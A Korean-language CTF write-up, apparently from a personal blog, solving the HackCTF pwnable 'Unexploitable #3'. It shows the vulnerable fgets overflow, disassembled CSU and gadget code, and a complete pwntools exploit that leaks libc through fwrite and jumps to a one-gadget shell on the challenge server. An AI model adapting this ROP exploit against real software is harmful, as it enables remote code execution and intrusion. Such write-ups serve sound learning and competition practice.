HackCTF - Unexploitable #3

2021. 8. 10. 21:11Pwnable

아마 stack 마지막 문제 같다.

후딱 풀어서 ALLCLEAR해야겠다.

코드를 보면 위와 아래와 같다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[16]; // [rsp+0h] [rbp-10h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  fwrite("Impossible RTL ha? Nothing for you!\n", 1uLL, 36uLL, stdout);
  fgets(s, 256, stdin);
  return 0;
}

RTC기법을 이용해서 csu를 참고해야한다.

해당 ELF의 CSU구조는 아래와 같다.

.text:00000000004006E0 ; __unwind {
.text:00000000004006E0                 push    r15
.text:00000000004006E2                 push    r14
.text:00000000004006E4                 mov     r15d, edi
.text:00000000004006E7                 push    r13
.text:00000000004006E9                 push    r12
.text:00000000004006EB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004006F2                 push    rbp
.text:00000000004006F3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004006FA                 push    rbx
.text:00000000004006FB                 mov     r14, rsi
.text:00000000004006FE                 mov     r13, rdx
.text:0000000000400701                 sub     rbp, r12
.text:0000000000400704                 sub     rsp, 8
.text:0000000000400708                 sar     rbp, 3
.text:000000000040070C                 call    _init_proc
.text:0000000000400711                 test    rbp, rbp
.text:0000000000400714                 jz      short loc_400736
.text:0000000000400716                 xor     ebx, ebx
.text:0000000000400718                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400720
.text:0000000000400720 loc_400720:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400720                 mov     rdx, r13
.text:0000000000400723                 mov     rsi, r14
.text:0000000000400726                 mov     edi, r15d
.text:0000000000400729                 call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040072D                 add     rbx, 1
.text:0000000000400731                 cmp     rbx, rbp
.text:0000000000400734                 jnz     short loc_400720
.text:0000000000400736
.text:0000000000400736 loc_400736:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400736                 add     rsp, 8
.text:000000000040073A                 pop     rbx
.text:000000000040073B                 pop     rbp
.text:000000000040073C                 pop     r12
.text:000000000040073E                 pop     r13
.text:0000000000400740                 pop     r14
.text:0000000000400742                 pop     r15
.text:0000000000400744                 retn

해당 코드를 확인하고 인자를 맞춰주면 될 듯하다.

추가로 fwrite함수를 주었기에 4번째 인자를 세팅해야하는데, 이는 gift함수에서 찾을 수 있다.

.text:0000000000400636 gift            proc near
.text:0000000000400636 ; __unwind {
.text:0000000000400636                 push    rbp
.text:0000000000400637                 mov     rbp, rsp
.text:000000000040063A                 mov     rax, cs:stdout@@GLIBC_2_2_5
.text:0000000000400641                 mov     rcx, rax        ; s
.text:0000000000400644                 mov     edx, 17h        ; n
.text:0000000000400649                 mov     esi, 1          ; size
.text:000000000040064E                 mov     edi, offset aUselessGadgetF ; "Useless gadget for you!"
.text:0000000000400653                 call    _fwrite
.text:0000000000400658                 mov     rcx, [rdi]
.text:000000000040065B                 retn
.text:000000000040065B gift            endp ; sp-analysis failed

stdout을 호출할떄 rdi_ret가젯을 이용해서 이를 rdi에 넣고,

해당 함수에서 0x400653부분을 이용해서 rdi를 rcx에 넣을 수 있기에 우회가 가능하다.

아래는 익스 코드이다.

from pwn import *

#r = process("./Unexploitable_3")
r = remote("ctf.j0n9hyun.xyz", 3034)
e = ELF("./Unexploitable_3")
l = ELF("./libc6_2.23-0ubuntu10_amd64.so")
one_shot_offset = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
context.log_level = "debug"

csu2_add = 0x0000000000400736
csu1_add = 0x0000000000400720

main = e.symbols['main']
fwrite_got = e.got['fwrite']
fgets_got = e.got['fgets']
__libc_start_main_got = e.got['__libc_start_main']
__libc_start_main_offset = l.sym['__libc_start_main']
fwrite_offset = l.sym['fwrite']
pop_rdi_ret = 0x0000000000400743
mov_rcx_rdi = 0x0000000000400658
stdout = e.got['stdout']


log.info("main = " + hex(main))
log.info("fwrite_got = " + hex(fwrite_got))
log.info("one_shot_offset = " + str(one_shot_offset))
log.info("stdout = " + hex(stdout))

pay = ""
pay += "A"*0x10
pay += "A"*0x8
pay += p64(pop_rdi_ret)
pay += p64(stdout)
pay += p64(mov_rcx_rdi)
pay += p64(csu2_add)
pay += "A"*8    #add rsp,8
pay += p64(0)   #rbx           
pay += p64(1)   #rbp
pay += p64(fwrite_got) #r12
pay += p64(8)    #mov     rdx, r13
pay += p64(1)    #mov     rsi, r14
pay += p64(__libc_start_main_got)    #mov     edi, r15d
pay += p64(csu1_add)

pay += "A"*8    #dummy
pay += p64(0)           #rbx
pay += p64(0)           #rbp
pay += p64(0)           #r12
pay += p64(0)           #r13
pay += p64(0)           #r14
pay += p64(0)           #r15
pay += p64(main)        #ret
r.recvuntil("Impossible RTL ha? Nothing for you!\n")
r.sendline(pay)
sleep(0.1)
__libc_start_main_add = u64(r.recv(8).ljust(8, "\x00"))
libc_base = __libc_start_main_add - __libc_start_main_offset
one_shot_add = libc_base + one_shot_offset[0]
log.info("__libc_start_main_add : " + hex(__libc_start_main_add))
log.info("libc_base : " + hex(libc_base))
log.info("one_shot_add : " + hex(one_shot_add))

r.recvuntil("Impossible RTL ha? Nothing for you!\n")
pay = ""
pay += "A"*0x10
pay += "A"*0x8
pay += p64(one_shot_add)
r.sendline(pay)
sleep(0.1)

r.interactive()

 

익스가 가능하다.

 

 

 

해당 문제를 풀면서 얻을 가장 큰 교훈은 아무런 libc_db를 사용하지 말자는 것이다.

로컬에서 30분만에 풀었지만, libc_db사이트를 이상한 곳을 찾아서 2시간을 소비했다.

다음부터 주의하자..

 

'Pwnable' 카테고리의 다른 글

dreamhack.io - cpp_type_confusion  (0) 2021.08.25
dreamhack.io - cpp_container_1  (0) 2021.08.12
pwnable.xyz - Game  (0) 2021.08.05
pwnable.xyz - GrownUp  (0) 2021.08.02
pwnable.xyz - two targets  (0) 2021.08.01